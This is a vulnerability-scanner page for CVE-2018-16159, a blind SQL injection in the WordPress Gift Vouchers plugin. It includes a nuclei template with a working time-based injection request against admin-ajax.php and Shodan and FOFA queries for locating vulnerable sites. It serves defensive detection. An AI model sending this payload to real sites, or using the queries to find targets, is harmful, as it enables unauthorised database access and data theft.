WordPress Gift Voucher <4.1.8 - Blind SQL Injection

criticalseverity

9.8CVSS score

49.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

WordPress Gift Vouchers plugin before 4.1.8 contains a blind SQL injection vulnerability via the template_id parameter in a wp-admin/admin-ajax.php wpgv_doajax_front_template request. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.

Fix

Fixed in version 4.1.8.

How to confirm it

Send: @timeout: 10s
Positive when: duration>=6 and status_code == 200 and contains(content_type, "application/json") and contains(body, "images") && contains(body, "title")

Run it with nuclei: nuclei -id CVE-2018-16159 -u <target>

The full check

id: CVE-2018-16159

info:
  name: WordPress Gift Voucher <4.1.8 - Blind SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Gift Vouchers plugin before 4.1.8 contains a blind SQL injection vulnerability via the template_id parameter in a wp-admin/admin-ajax.php wpgv_doajax_front_template request. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
  remediation: Fixed in version 4.1.8.
  reference:
    - https://wpscan.com/vulnerability/9117
    - https://wordpress.org/plugins/gift-voucher/
    - https://www.exploit-db.com/exploits/45255/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16159
    - https://wpvulndb.com/vulnerabilities/9117
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-16159
    cwe-id: CWE-89
    epss-score: 0.49481
    epss-percentile: 0.98902
    cpe: cpe:2.3:a:codemenschen:gift_vouchers:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: codemenschen
    product: gift_vouchers
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/gift-voucher/"
    fofa-query: body="/wp-content/plugins/gift-voucher/"
  tags: time-based-sqli,cve,cve2018,sqli,wordpress,unauth,wp,gift-voucher,edb,wpscan,wp-plugin,codemenschen,vkev,vuln

http:
  - raw:
      - |
        @timeout: 10s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=wpgv_doajax_front_template&template_id=1 and sleep(6)#

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "images") && contains(body, "title")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from